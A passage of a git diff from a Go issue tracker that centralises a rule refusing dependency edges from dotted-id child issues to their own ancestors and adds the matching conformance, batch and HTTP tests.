dotted child this request +// creates — the `bd create --graph` shape — is refused like a stored id. +// +// POSITIVE HALF: the parent-child edge to the immediate dotted parent lands. +// +// WITH THE HIERARCHY STORED: once that edge exists (the shape `bd create +// --parent` leaves), a blocking edge on the same pair is still this validation +// refusal, not the hierarchy conflict the stored edge would raise (which does +// not match ErrValidation) — the rule reads only the resolved ids, so it +// answers first — and the stored edge survives. +func RunBatchApplyRefusesADottedChildGatedOnItsOwnParent(t *testing.T, ctx context.Context, fixture BatchApplyFixture) { + t.Helper() + parent := fixture.IssuePrefix + "-dotted" + child := parent + ".1" + minted := parent + ".2" + batchApplySeedIssue(t, ctx, fixture, parent, types.StatusOpen) + batchApplySeedIssue(t, ctx, fixture, child, types.StatusOpen) + + for _, refused := range []struct { + name string + items []publicops.ApplyItem + index int + }{ + {"a stored child blocking on its parent", []publicops.ApplyItem{ + batchApplyDepAdd(publicops.Ref{ID: child}, publicops.Ref{ID: parent}, publicops.DepBlocks, ""), + }, 0}, + {"a child this request creates blocking on its parent", []publicops.ApplyItem{ + batchApplyCreate("child", batchApplyIssue(minted, "the new child")), + batchApplyDepAdd(publicops.Ref{Key: "child"}, publicops.Ref{ID: parent}, publicops.DepBlocks, ""), + }, 1}, + } { + _, err := fixture.BatchApplier.ApplyBatch(ctx, publicops.ApplyBatchRequest{ + Actor: "apply-writer", + ForceIDPrefix: true, + Items: refused.items, + }) + if !errors.Is(err, publicops.ErrValidation) { + t.Errorf("%s: error = %v, want ErrValidation", refused.name, err) + continue + } + var itemErr *publicops.ItemError + if !errors.As(err, &itemErr) { + t.Errorf("%s: error = %v, want an *ItemError naming the edge item", refused.name, err) + continue + } + if itemErr.Index != refused.index || itemErr.Kind != publicops.ItemDepAdd { + t.Errorf("%s: ItemError = %#v, want Index %d and Kind %q", refused.name, itemErr, refused.index, publicops.ItemDepAdd) + } + } + assertBatchApplyEdgeCount(t, ctx, fixture, child, parent, 0) + assertBatchApplyRowCount(t, ctx, fixture, "issues", minted, 0) + + batchApplyMust(t, ctx, fixture, publicops.ApplyBatchRequest{ + Actor: "apply-writer", + Items: []publicops.ApplyItem{ + batchApplyDepAdd(publicops.Ref{ID: child}, publicops.Ref{ID: parent}, publicops.DepParentChild, ""), + }, + }) + assertBatchApplyEdgeCount(t, ctx, fixture, child, parent, 1) + + _, err := fixture.BatchApplier.ApplyBatch(ctx, publicops.ApplyBatchRequest{ + Actor: "apply-writer", + Items: []publicops.ApplyItem{ + batchApplyDepAdd(publicops.Ref{ID: child}, publicops.Ref{ID: parent}, publicops.DepBlocks, ""), + }, + }) + var itemErr *publicops.ItemError + if !errors.Is(err, publicops.ErrValidation) || !errors.As(err, &itemErr) { + t.Errorf("blocks on a parent whose parent-child edge is stored: error = %v, want an *ItemError matching ErrValidation", err) + } + assertBatchApplyEdgeCount(t, ctx, fixture, child, parent, 1) +} diff --git a/backend/conformance/dependency_editor_contract.go b/backend/conformance/dependency_editor_contract.go index e037e9dbe..4f5b33268 100644 --- a/backend/conformance/dependency_editor_contract.go +++ b/backend/conformance/dependency_editor_contract.go @@ -2631,3 +2631,82 @@ func dependencyEditorHistoryProbe(t *testing.T, ctx context.Context, fixture Dep assertDependencyEditorHistoryDelta(t, ctx, fixture, before, want, why) } } + +// RunDependencyEditorRefusesADottedChildGatedOnItsOwnParent pins +// publicops.CheckDottedChildDependency on the role: an explicit edge from a +// dotted-id child to its own ancestor is refused as a +// *DottedChildDependencyError (ErrValidation) on every leg, and nothing is +// written. (It is decided before any per-edge probe, so the probe-skipped +// spelling, which the wire does not publish, adds nothing here.) It used to be +// enforced only by the CLI ahead of the role, so an HTTP or embedded caller +// could gate bd-abc.1 on bd-abc. +// +// POSITIVE HALF: the hierarchy itself — a parent-child edge to the IMMEDIATE +// dotted parent — is allowed, and so is an edge between siblings. A body that +// refused every edge touching a dotted id would satisfy the refusals alone. +// +// WITH THE HIERARCHY STORED: once that parent-child edge exists (the shape +// `bd create --parent` leaves), a blocking edge on the same pair is still this +// refusal, not the type or hierarchy conflict the stored edge would raise — the +// rule reads nothing, so it answers first — and the stored edge survives. +func RunDependencyEditorRefusesADottedChildGatedOnItsOwnParent(t *testing.T, ctx context.Context, fixture DependencyEditorFixture) { + t.Helper() + parent := fixture.IssuePrefix + "-dotted" + child := parent + ".1" + grandchild := child + ".2" + sibling := parent + ".3" + for _, id := range []string{parent, child, grandchild, sibling} { + seedDependencyEditorIssue(t, ctx, fixture, id) + } + + for _, refused := range []struct { + name string + edge publicops.DependencyEdge + }{ + {"child blocks on its parent", publicops.DependencyEdge{IssueID: child, DependsOnID: parent, Type: publicops.DepBlocks}}, + {"grandchild blocks on its grandparent", publicops.DependencyEdge{IssueID: grandchild, DependsOnID: parent, Type: publicops.DepBlocks}}, + {"grandchild parent-child to its grandparent", publicops.DependencyEdge{IssueID: grandchild, DependsOnID: parent, Type: publicops.DepParentChild}}, + {"child relates to its parent", publicops.DependencyEdge{IssueID: child, DependsOnID: parent, Type: publicops.DepRelated}}, + } { + _, err := fixture.Editor.AddDependencies(ctx, publicops.AddDependenciesRequest{ + Actor: "writer", + Edges: []publicops.DependencyEdge{refused.edge}, + }) + var dotted *publicops.DottedChildDependencyError + if !errors.As(err, &dotted) { + t.Errorf("%s: error = %v, want *DottedChildDependencyError", refused.name, err) + continue + } + if !errors.Is(err, publicops.ErrValidation) { + t.Errorf("%s: error = %v, want it to match ErrValidation", refused.name, err) + } + if dotted.IssueID != refused.edge.IssueID || dotted.DependsOnID != refused.edge.DependsOnID { + t.Errorf("%s: refusal names %s -> %s, want %s -> %s", refused.name, + dotted.IssueID, dotted.DependsOnID, refused.edge.IssueID, refused.edge.DependsOnID) + } + } + assertDependencyEditorNoEdgesFrom(t, ctx, fixture, child, grandchild) + + if _, err := fixture.Editor.AddDependencies(ctx, publicops.AddDependenciesRequest{ + Actor: "writer", + Edges: []publicops.DependencyEdge{ + {IssueID: grandchild, DependsOnID: child, Type: publicops.DepParentChild}, + {IssueID: sibling, DependsOnID: child, Type: publicops.DepBlocks}, + }, + }); err != nil { + t.Fatalf("the immediate parent-child edge and a sibling edge: %v", err) + } + assertDependencyEdgeTypedCount(t, ctx, fixture, "dependencies", grandchild, child, string(publicops.DepParentChild), 1) + assertDependencyEdgeCount(t, ctx, fixture, "dependencies", sibling, child, 1) + + _, err := fixture.Editor.AddDependencies(ctx, publicops.AddDependenciesRequest{ + Actor: "writer", + Edges: []publicops.DependencyEdge{{IssueID: grandchild, DependsOnID: child, Type: publicops.DepBlocks}}, + }) + var dotted *publicops.DottedChildDependencyError + if !errors.As(err, &dotted) || !errors.Is(err, publicops.ErrValidation) { + t.Errorf("blocks on a parent whose parent-child edge is stored: error = %v, want *DottedChildDependencyError matching ErrValidation", err) + } + assertDependencyEdgeTypedCount(t, ctx, fixture, "dependencies", grandchild, child, string(publicops.DepParentChild), 1) + assertDependencyEdgeCount(t, ctx, fixture, "dependencies", grandchild, child, 1) +} diff --git a/backend/conformance/role_bundle_cases.go b/backend/conformance/role_bundle_cases.go index 27f0d762f..0555b19a5 100644 --- a/backend/conformance/role_bundle_cases.go +++ b/backend/conformance/role_bundle_cases.go @@ -61,6 +61,7 @@ var roleContractCases = []roleContract{ RunBatchApplyUpdateItemsRefuseATemplate, RunBatchApplySplicesTheMetadataOfATemplateItCreates, RunBatchApplyCloseItemsAnswerToTheCloseGuards, + RunBatchApplyRefusesADottedChildGatedOnItsOwnParent, ), roleCases("BatchCloser", "BatchCloser()", oncePerRole, @@ -301,6 +302,7 @@ var roleContractCases = []roleContract{ RunDependencyEditorAcceptsADiamond, RunDependencyEditorGateScopeFollowsTheEdgeType, RunDependencyEditorAcceptsBlockingAcrossIssueTypes, + RunDependencyEditorRefusesADottedChildGatedOnItsOwnParent, ), // The accessor named here is not an accessor at all, alone among these diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index d808cbd5d..7d1742cef 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -676,7 +676,6 @@ go_test( "dep_test.go", "dep_warning_test.go", "dependency_hierarchy_embedded_test.go", - "dependency_hierarchy_test.go", "diff_embedded_test.go", "directory_flag_test.go", "doctor_backend_guard_test.go", diff --git a/cmd/bd/batch.go b/cmd/bd/batch.go index 01c7898bb..99e8b76e1 100644 --- a/cmd/bd/batch.go +++ b/cmd/bd/batch.go @@ -15,6 +15,7 @@ import ( "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/internal/storage/issueops" "github.com/steveyegge/beads/internal/types" + publicops "github.com/steveyegge/beads/issueops" ) // Scope note: @@ -417,27 +418,14 @@ func runBatchOp(ctx context.Context, tx storage.Transaction, op batchOp) (batchO return result, nil case "dep.add": - if len(op.args) < 2 { - return result, fmt.Errorf("dep add requires ") - } - from, to := op.args[0], op.args[1] - depType := "blocks" - if len(op.args) >= 3 { - depType = op.args[2] - } - dt := types.DependencyType(depType) - if !dt.IsValid() { - return result, fmt.Errorf("dep add: invalid dependency type %q", depType) - } - dep := &types.Dependency{ - IssueID: from, - DependsOnID: to, - Type: dt, + dep, err := batchDepAddEdge(op.args) + if err != nil { + return result, err } if err := tx.AddDependency(ctx, dep, actorName); err != nil { return result, err } - result.Target = fmt.Sprintf("%s->%s", from, to) + result.Target = fmt.Sprintf("%s->%s", dep.IssueID, dep.DependsOnID) return result, nil case "dep.remove": @@ -454,6 +442,38 @@ func runBatchOp(ctx context.Context, tx storage.Transaction, op batchOp) (batchO return result, fmt.Errorf("internal: unhandled batch op %q", op.cmd) } +// batchDepAddEdge builds the edge a `dep add [type]` line +// asks for. Both backends' dispatch switches call it, so the default type, the +// arity and type errors, and the dotted-id hierarchy rule cannot drift between +// them. +// Neither backend writes the edge through the DependencyEditor role that +// enforces that rule (storage.Transaction.AddDependency and the unit of work's +// AddDependencies verb do not), so batch asks the role's rule directly, the +// way bd link does: a script line `dep add bd-abc.1 bd-abc` is refused, and +// rolls the batch back, exactly as `bd dep add bd-abc.1 bd-abc` is. +func batchDepAddEdge(args []string) (*types.Dependency, error) { + if len(args) < 2 { + return nil, fmt.Errorf("dep add requires ") + } + from, to := args[0], args[1] + depType := "blocks" + if len(args) >= 3 { + depType = args[2] + } + dt := types.DependencyType(depType) + if !dt.IsValid() { + return nil, fmt.Errorf("dep add: invalid dependency type %q", depType) + } + if err := publicops.CheckDottedChildDependency(from, to, dt); err != nil { + return nil, err + } + return &types.Dependency{ + IssueID: from, + DependsOnID: to, + Type: dt, + }, nil +} + // parseUpdateKVs walks a slice of "key=value" tokens and builds the updates // map accepted by storage.Transaction.UpdateIssue. Only a small, documented // subset of fields is allowed — anything else is a hard error so typos in diff --git a/cmd/bd/batch_parity_test.go b/cmd/bd/batch_parity_test.go index f150c845b..d50c4d171 100644 --- a/cmd/bd/batch_parity_test.go +++ b/cmd/bd/batch_parity_test.go @@ -259,6 +259,77 @@ func assertBatchParity(t *testing.T, classic, proxied batchParityOutcome) { } } +// TestProxiedServerBatchDepAddRefusesADottedChildGatedOnItsParent pins the +// dotted-id hierarchy rule on a batched `dep add`. Neither backend writes that +// edge through the DependencyEditor role that enforces the rule, so batch asks +// the rule itself (batchDepAddEdge). Both backends must refuse bd-abc.1 -> +// bd-abc with the sentence `bd dep add` prints, name the line, and roll the +// whole batch back, while the one edge the rule allows — parent-child to the +// immediate parent — still lands. +func TestProxiedServerBatchDepAddRefusesADottedChildGatedOnItsParent(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) + + type outcome struct { + refusedCode int + refusalReported bool + rolledBack bool + edgesAfterRefusal int + allowedCode int + edgesAfterAllowed int + } + outcomes := make(map[string]outcome, 2) + + for _, env := range newCrossModeEnvs(t, bd, "bdc", "bdp") { + var got outcome + + parent := env.create(t, "Dotted parent") + // An explicit dotted id stores no parent-child edge (only --parent + // does), so every edge counted below is one a batch wrote. + child := env.create(t, "Dotted child", "--id", parent+".1", "--priority", "2") + + // Line 1 is a valid write the refusal on line 2 must take back with it. + script := fmt.Sprintf("update %s priority=1\ndep add %s %s\n", child, child, parent) + stdout, stderr, code := env.runStdin(t, script, "batch") + // The failing line is named the way any failing line is, around the + // sentence `bd dep add` prints for the same edge. + refusal := fmt.Sprintf("line 2 (dep add %s %s): cannot add dependency: %s is already a child of %s.", + child, parent, child, parent) + got.refusedCode = code + got.refusalReported = strings.Contains(stdout+stderr, refusal) + got.rolledBack = env.show(t, child).Priority == 2 + got.edgesAfterRefusal = len(env.depList(t, child)) + if got.refusedCode == 0 || !got.refusalReported { + t.Errorf("[%s] batch exit=%d, want non-zero and %q\nstdout:\n%s\nstderr:\n%s", + env.mode, code, refusal, stdout, stderr) + } + + stdout, stderr, code = env.runStdin(t, fmt.Sprintf("dep add %s %s parent-child\n", child, parent), "batch") + got.allowedCode = code + if code != 0 { + t.Fatalf("[%s] batch parent-child dep add failed with exit %d\nstdout:\n%s\nstderr:\n%s", env.mode, code, stdout, stderr) + } + got.edgesAfterAllowed = len(env.depList(t, child)) + + outcomes[env.mode] = got + + if !got.rolledBack { + t.Errorf("[%s] the refused line did not roll back line 1's priority write", env.mode) + } + if got.edgesAfterRefusal != 0 { + t.Errorf("[%s] the refused batch left %d edges on the child, want 0", env.mode, got.edgesAfterRefusal) + } + if got.edgesAfterAllowed != 1 { + t.Errorf("[%s] batch parent-child dep add: %d edges on the child, want 1", env.mode, got.edgesAfterAllowed) + } + } + + if outcomes["classic"] != outcomes["proxied"] { + t.Errorf("cross-mode divergence:\nclassic=%+v\nproxied=%+v", outcomes["classic"], outcomes["proxied"]) + } +} + // depList reads the dependency records of one issue as a flat array, the shape // `bd dep list --json` documents. func (e crossModeEnv) depList(t *testing.T, id string) []map[string]any { diff --git a/cmd/bd/batch_proxied_server.go b/cmd/bd/batch_proxied_server.go index 99ccb890e..cb666214d 100644 --- a/cmd/bd/batch_proxied_server.go +++ b/cmd/bd/batch_proxied_server.go @@ -161,22 +161,9 @@ func runBatchOpUOW(ctx context.Context, uw uow.UnitOfWork, op batchOp) (batchOpR return result, nil case "dep.add": - if len(op.args) < 2 { - return result, fmt.Errorf("dep add requires ") - } - from, to := op.args[0], op.args[1] - depType := "blocks" - if len(op.args) >= 3 { - depType = op.args[2] - } - dt := types.DependencyType(depType) - if !dt.IsValid() { - return result, fmt.Errorf("dep add: invalid dependency type %q", depType) - } - dep := &types.Dependency{ - IssueID: from, - DependsOnID: to, - Type: dt, + dep, err := batchDepAddEdge(op.args) + if err != nil { + return result, err } // AddDependencies (not the single-edge AddDependency) because it lands // each edge in the plane its own SOURCE lives in, which is the routing @@ -198,7 +185,7 @@ func runBatchOpUOW(ctx context.Context, uw uow.UnitOfWork, op batchOp) (batchOpR if _, err := uw.DependencyUseCase().AddDependencies(ctx, []*types.Dependency{dep}, actorName, domain.BulkAddDepsOpts{}); err != nil { return result, err } - result.Target = fmt.Sprintf("%s->%s", from, to) + result.Target = fmt.Sprintf("%s->%s", dep.IssueID, dep.DependsOnID) return result, nil case "dep.remove": diff --git a/cmd/bd/batch_test.go b/cmd/bd/batch_test.go index 894c29010..834bd49f9 100644 --- a/cmd/bd/batch_test.go +++ b/cmd/bd/batch_test.go @@ -1,9 +1,13 @@ package main import ( + "errors" "reflect" "strings" "testing" + + "github.com/steveyegge/beads/internal/types" + publicops "github.com/steveyegge/beads/issueops" ) func TestTokenizeBatchLine(t *testing.T) { @@ -261,6 +265,91 @@ func TestParseUpdateKVs(t *testing.T) { } } +// TestBatchDepAddEdge pins the edge a `dep add` line builds on both backends, +// and that the line asks the dotted-id hierarchy rule before either backend +// writes: the refusal is the role's own typed error, so a batch prints the +// sentence `bd dep add` prints and rolls back on it. +func TestBatchDepAddEdge(t *testing.T) { + tooLong := strings.Repeat("x", types.MaxDependencyTypeLen+1) + tests := []struct { + name string + args []string + want *types.Dependency + wantErr string + wantDotted bool + }{ + { + name: "default type is blocks", + args: []string{"bd-1", "bd-2"}, + want: &types.Dependency{IssueID: "bd-1", DependsOnID: "bd-2", Type: types.DepBlocks}, + }, + { + name: "explicit type", + args: []string{"bd-1", "bd-2", "related"}, + want: &types.Dependency{IssueID: "bd-1", DependsOnID: "bd-2", Type: types.DepRelated}, + }, + { + name: "missing to-id", + args: []string{"bd-1"}, + wantErr: "dep add requires ", + }, + { + name: "invalid type", + args: []string{"bd-1", "bd-2", tooLong}, + wantErr: `dep add: invalid dependency type "` + tooLong + `"`, + }, + { + name: "dotted child gated on its own parent", + args: []string{"bd-abc.1", "bd-abc"}, + wantDotted: true, + }, + { + name: "any explicit type up the tree, not only blocking ones", + args: []string{"bd-abc.1", "bd-abc", "related"}, + wantDotted: true, + }, + { + name: "parent-child past the immediate parent", + args: []string{"bd-abc.1.2", "bd-abc", "parent-child"}, + wantDotted: true, + }, + { + name: "parent-child to the immediate parent is the hierarchy itself", + args: []string{"bd-abc.1", "bd-abc", "parent-child"}, + want: &types.Dependency{IssueID: "bd-abc.1", DependsOnID: "bd-abc", Type: types.DepParentChild}, + }, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + got, err := batchDepAddEdge(tt.args) + switch { + case tt.wantDotted: + var dotted *publicops.DottedChildDependencyError + if !errors.As(err, &dotted) { + t.Fatalf("batchDepAddEdge(%q) = %+v, %v; want *DottedChildDependencyError", tt.args, got, err) + } + if !errors.Is(err, publicops.ErrValidation) { + t.Errorf("refusal %v does not match ErrValidation", err) + } + if dotted.IssueID != tt.args[0] || dotted.DependsOnID != tt.args[1] { + t.Errorf("refusal names %s -> %s, want %s -> %s", dotted.IssueID, dotted.DependsOnID, tt.args[0], tt.args[1]) + } + case tt.wantErr != "": + if err == nil || err.Error() != tt.wantErr { + t.Fatalf("batchDepAddEdge(%q) err = %v, want %q", tt.args, err, tt.wantErr) + } + default: + if err != nil { + t.Fatalf("batchDepAddEdge(%q): %v", tt.args, err) + } + if !reflect.DeepEqual(got, tt.want) { + t.Errorf("batchDepAddEdge(%q) = %+v, want %+v", tt.args, got, tt.want) + } + } + }) + } +} + func TestBatchCmd_Registered(t *testing.T) { // Ensure 'bd batch' is wired into rootCmd with the correct group. cmd, _, err := rootCmd.Find([]string{"batch"}) diff --git a/cmd/bd/dep.go b/cmd/bd/dep.go index e77e1e1c8..06d7ffe49 100644 --- a/cmd/bd/dep.go +++ b/cmd/bd/dep.go @@ -213,41 +213,6 @@ func resolveUnresolvedDepTarget(sourceID, dependsOnArg string, resolveErr error) return "", fmt.Errorf("resolving dependency ID %s: %v", dependsOnArg, resolveErr) } -// isChildOf returns true if childID is a hierarchical child of parentID. -// For example, "bd-abc.1" is a child of "bd-abc", and "bd-abc.1.2" is a child of "bd-abc.1". -func isChildOf(childID, parentID string) bool { - _, isAncestor := hierarchicalParentRelation(childID, parentID) - return isAncestor -} - -func hierarchicalParentRelation(childID, targetID string) (immediateParent string, isAncestor bool) { - // A child ID has the format "parentID.N" or "parentID.N.M" etc. - // Use ParseHierarchicalID to get the actual parent - _, actualParentID, depth := types.ParseHierarchicalID(childID) - if depth == 0 { - return "", false // Not a hierarchical ID - } - // Check if the immediate parent matches - if actualParentID == targetID { - return actualParentID, true - } - // Also check if targetID is an ancestor (e.g., "bd-abc" is an ancestor of "bd-abc.1.2") - return actualParentID, strings.HasPrefix(childID, targetID+".") -} - -// isDisallowedHierarchicalDependency reports whether an explicit dependency -// conflicts with hierarchy encoded in a dotted issue ID. The one allowed match -// is a parent-child edge to the immediate dotted-ID parent; blocking and other -// edge types to any parent/ancestor, plus parent-child edges to higher ancestors, -// remain rejected. -func isDisallowedHierarchicalDependency(fromID, toID string, depType types.DependencyType) bool { - immediateParent, isAncestor := hierarchicalParentRelation(fromID, toID) - if !isAncestor { - return false - } - return depType != types.DepParentChild || toID != immediateParent -} - var depCmd = &cobra.Command{ Use: "dep [issue-id]", GroupID: "deps", @@ -312,10 +277,6 @@ Examples: } defer toCleanup() - if isDisallowedHierarchicalDependency(fromID, toID, types.DepBlocks) { - return HandleErrorRespectJSON("cannot add dependency: %s is already a child of %s. Children inherit dependency on parent completion via hierarchy. Adding an explicit dependency would create a deadlock", fromID, toID) - } - opsCtx, err := issueOpsContext(ctx) if err != nil { return HandleErrorRespectJSON("%v", err) @@ -498,9 +459,8 @@ Examples: } dt := canonicalDependencyType(types.DependencyType(depType)) - if isDisallowedHierarchicalDependency(fromID, toID, dt) { - return HandleErrorRespectJSON("cannot add dependency: %s is already a child of %s. Children inherit dependency on parent completion via hierarchy. Adding an explicit dependency would create a deadlock", fromID, toID) - } + // The dotted-id hierarchy refusal is the role's + // (issueops.CheckDottedChildDependency), raised by AddDependencies below. if err := validateDependencyType(dt); err != nil { return HandleErrorRespectJSON("%v", err) @@ -827,7 +787,9 @@ func validateBulkDepEdges(ctx context.Context, edges []bulkDepEdge) ([]bulkDepEd current.DependsOnID = toID } - if isDisallowedHierarchicalDependency(current.IssueID, current.DependsOnID, current.Type) { + // The role refuses this edge too; asking the library rule here only lets + // the bulk report name every offending line before anything is written. + if issueops.IsDottedChildDependency(current.IssueID, current.DependsOnID, current.Type) { errs = append(errs, fmt.Sprintf("line %d: cannot add dependency: %s is already a child of %s", edge.Line, current.IssueID, current.DependsOnID)) resolved = append(resolved, current) continue diff --git a/cmd/bd/dep_proxied_server.go b/cmd/bd/dep_proxied_server.go index aee6b0306..86e10a1dd 100644 --- a/cmd/bd/dep_proxied_server.go +++ b/cmd/bd/dep_proxied_server.go @@ -177,10 +177,6 @@ func runDepBlocksProxiedServer(cmd *cobra.Command, ctx context.Context, blockerI return HandleErrorRespectJSON("%v", err) } - if isDisallowedHierarchicalDependency(blockedID, blockerID, types.DepBlocks) { - return HandleErrorRespectJSON("cannot add dependency: %s is already a child of %s. Children inherit dependency on parent completion via hierarchy. Adding an explicit dependency would create a deadlock", blockedID, blockerID) - } - noCycleCheck, _ := cmd.Flags().GetBool("no-cycle-check") edge := issueops.DependencyEdge{IssueID: blockedID, DependsOnID: blockerID, Type: types.DepBlocks} @@ -247,9 +243,6 @@ func runDepAddProxiedServer(cmd *cobra.Command, ctx context.Context, args []stri toID = dependsOnArg dt := canonicalDependencyType(types.DependencyType(depType)) - if isDisallowedHierarchicalDependency(fromID, toID, dt) { - return HandleErrorRespectJSON("cannot add dependency: %s is already a child of %s. Children inherit dependency on parent completion via hierarchy. Adding an explicit dependency would create a deadlock", fromID, toID) - } if err := validateDependencyType(dt); err != nil { return HandleErrorRespectJSON("%v", err) @@ -299,7 +292,7 @@ func runDepAddBulkProxied(cmd *cobra.Command, ctx context.Context, file, default depEdges := make([]issueops.DependencyEdge, 0, len(edges)) for _, edge := range edges { - if isDisallowedHierarchicalDependency(edge.IssueID, edge.DependsOnID, edge.Type) { + if issueops.IsDottedChildDependency(edge.IssueID, edge.DependsOnID, edge.Type) { return HandleErrorRespectJSON("line %d: cannot add dependency: %s is already a child of %s", edge.Line, edge.IssueID, edge.DependsOnID) } if strings.HasPrefix(edge.DependsOnID, "external:") { diff --git a/cmd/bd/dep_test.go b/cmd/bd/dep_test.go index 188e1309e..1f8e23db8 100644 --- a/cmd/bd/dep_test.go +++ b/cmd/bd/dep_test.go @@ -1080,88 +1080,6 @@ func TestTreeNodeJSONIncludesEdgeFromParent(t *testing.T) { // These tests serve as regression tests ensuring the storage layer // continues to provide user-friendly error messages. -func TestIsChildOf(t *testing.T) { - tests := []struct { - name string - childID string - parentID string - want bool - }{ - // Positive cases: should be detected as child - { - name: "direct child", - childID: "bd-abc.1", - parentID: "bd-abc", - want: true, - }, - { - name: "grandchild", - childID: "bd-abc.1.2", - parentID: "bd-abc", - want: true, - }, - { - name: "nested grandchild direct parent", - childID: "bd-abc.1.2", - parentID: "bd-abc.1", - want: true, - }, - { - name: "deeply nested child", - childID: "bd-abc.1.2.3", - parentID: "bd-abc", - want: true, - }, - - // Negative cases: should NOT be detected as child - { - name: "same ID", - childID: "bd-abc", - parentID: "bd-abc", - want: false, - }, - { - name: "not a child - unrelated IDs", - childID: "bd-xyz", - parentID: "bd-abc", - want: false, - }, - { - name: "not a child - sibling", - childID: "bd-abc.2", - parentID: "bd-abc.1", - want: false, - }, - { - name: "reversed - parent is not child of child", - childID: "bd-abc", - parentID: "bd-abc.1", - want: false, - }, - { - name: "prefix but not hierarchical", - childID: "bd-abcd", - parentID: "bd-abc", - want: false, - }, - { - name: "not hierarchical ID", - childID: "bd-abc", - parentID: "bd-xyz", - want: false, - }, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - got := isChildOf(tt.childID, tt.parentID) - if got != tt.want { - t.Errorf("isChildOf(%q, %q) = %v, want %v", tt.childID, tt.parentID, got, tt.want) - } - }) - } -} - // TestDepRoutedTargetOpensReadOnly is the regression guard for the dep/link // target-resolution invariant: a cross-rig dependency target is resolved by ID // only, so resolveIDWithRouting must open the routed foreign store read-only, diff --git a/cmd/bd/dependency_hierarchy_test.go b/cmd/bd/dependency_hierarchy_test.go deleted file mode 100644 index c50be2e29..000000000 --- a/cmd/bd/dependency_hierarchy_test.go +++ /dev/null @@ -1,55 +0,0 @@ -package main - -import ( - "testing" - - "github.com/steveyegge/beads/internal/types" -) - -func TestIsDisallowedHierarchicalDependency(t *testing.T) { - tests := []struct { - name string - fromID string - toID string - depType types.DependencyType - want bool - }{ - { - name: "immediate parent-child allowed", - fromID: "bd-root.1.2", - toID: "bd-root.1", - depType: types.DepParentChild, - want: false, - }, - { - name: "immediate parent blocks rejected", - fromID: "bd-root.1.2", - toID: "bd-root.1", - depType: types.DepBlocks, - want: true, - }, - { - name: "grandparent parent-child rejected", - fromID: "bd-root.1.2", - toID: "bd-root", - depType: types.DepParentChild, - want: true, - }, - { - name: "unrelated target allowed", - fromID: "bd-root.1.2", - toID: "bd-other", - depType: types.DepBlocks, - want: false, - }, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - got := isDisallowedHierarchicalDependency(tt.fromID, tt.toID, tt.depType) - if got != tt.want { - t.Fatalf("isDisallowedHierarchicalDependency(%q, %q, %q) = %v, want %v", tt.fromID, tt.toID, tt.depType, got, tt.want) - } - }) - } -} diff --git a/cmd/bd/graph_apply.go b/cmd/bd/graph_apply.go index 9a52f1415..407dae867 100644 --- a/cmd/bd/graph_apply.go +++ b/cmd/bd/graph_apply.go @@ -143,7 +143,7 @@ type GraphApplyDryRunRow struct { ParentID string `json:"parent_id,omitempty"` } -const graphApplyDryRunTransactionValidationNote = "dry-run validates the graph structure only; live create may still reject parent-child blocking paths after resolving stored dependencies" +const graphApplyDryRunTransactionValidationNote = "dry-run validates the graph structure only; live create may still reject parent-child blocking paths after resolving stored dependencies, or an edge that gates a dotted-id child on its own ancestor" // Known-field sets list the JSON keys recognized on each plan struct; unknown // keys warn about schema typos. Derived from json tags so they can't drift. (GH#3367) diff --git a/cmd/bd/link.go b/cmd/bd/link.go index a05be924b..2ad45f829 100644 --- a/cmd/bd/link.go +++ b/cmd/bd/link.go @@ -8,6 +8,7 @@ import ( "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/internal/types" "github.com/steveyegge/beads/internal/ui" + "github.com/steveyegge/beads/issueops" ) var linkCmd = &cobra.Command{ @@ -63,8 +64,10 @@ Examples: defer toCleanup() dt := types.DependencyType(depType) - if isDisallowedHierarchicalDependency(fromID, toID, dt) { - return HandleErrorRespectJSON("cannot add dependency: %s is already a child of %s. Children inherit dependency on parent completion via hierarchy. Adding an explicit dependency would create a deadlock", fromID, toID) + // bd link writes through the store's own dependency verb rather than + // the DependencyEditor role, so it asks the role's rule directly. + if err := issueops.CheckDottedChildDependency(fromID, toID, dt); err != nil { + return HandleErrorRespectJSON("%v", err) } if !dt.IsValid() { diff --git a/cmd/bd/link_proxied_server.go b/cmd/bd/link_proxied_server.go index aef888968..c3a4c05af 100644 --- a/cmd/bd/link_proxied_server.go +++ b/cmd/bd/link_proxied_server.go @@ -10,6 +10,7 @@ import ( "github.com/steveyegge/beads/internal/storage/uow" "github.com/steveyegge/beads/internal/types" "github.com/steveyegge/beads/internal/ui" + "github.com/steveyegge/beads/issueops" ) func runLinkProxiedServer(cmd *cobra.Command, ctx context.Context, args []string) error { @@ -18,8 +19,8 @@ func runLinkProxiedServer(cmd *cobra.Command, ctx context.Context, args []string depType, _ := cmd.Flags().GetString("type") dt := types.DependencyType(depType) - if isDisallowedHierarchicalDependency(id1, id2, dt) { - return HandleErrorRespectJSON("cannot add dependency: %s is already a child of %s. Children inherit dependency on parent completion via hierarchy. Adding an explicit dependency would create a deadlock", id1, id2) + if err := issueops.CheckDottedChildDependency(id1, id2, dt); err != nil { + return HandleErrorRespectJSON("%v", err) } if !dt.IsValid() { diff --git a/internal/httpapi/batch_apply_test.go b/internal/httpapi/batch_apply_test.go index 824775f21..3c2c9c5c2 100644 --- a/internal/httpapi/batch_apply_test.go +++ b/internal/httpapi/batch_apply_test.go @@ -889,6 +889,19 @@ func TestApplyBatchMapsTheRolesTypedRefusalsOntoTheDocumentedCodes(t *testing.T) wantStatus: http.StatusNotFound, wantCode: "not_found", }, + { + // The dotted-id hierarchy rule is request validation (it unwraps to + // ErrValidation), never the hierarchy CONFLICT's dependency_cycle: + // it is decided from the two resolved ids, ahead of every check that + // reads the stored graph, so even a child whose parent-child edge IS + // stored gets this 400, with no hierarchy members to describe. + name: "a dotted child gated on its own parent", + err: itemErr(0, issueops.ItemDepAdd, "", "bd-1.1", + &issueops.DottedChildDependencyError{IssueID: "bd-1.1", DependsOnID: "bd-1", Type: issueops.DepBlocks}), + wantStatus: http.StatusBadRequest, + wantCode: "invalid_argument", + wantParam: "items", + }, { name: "the workspace's own validation", err: itemErr(0, issueops.ItemCreate, "", "", storage.ErrValidation), diff --git 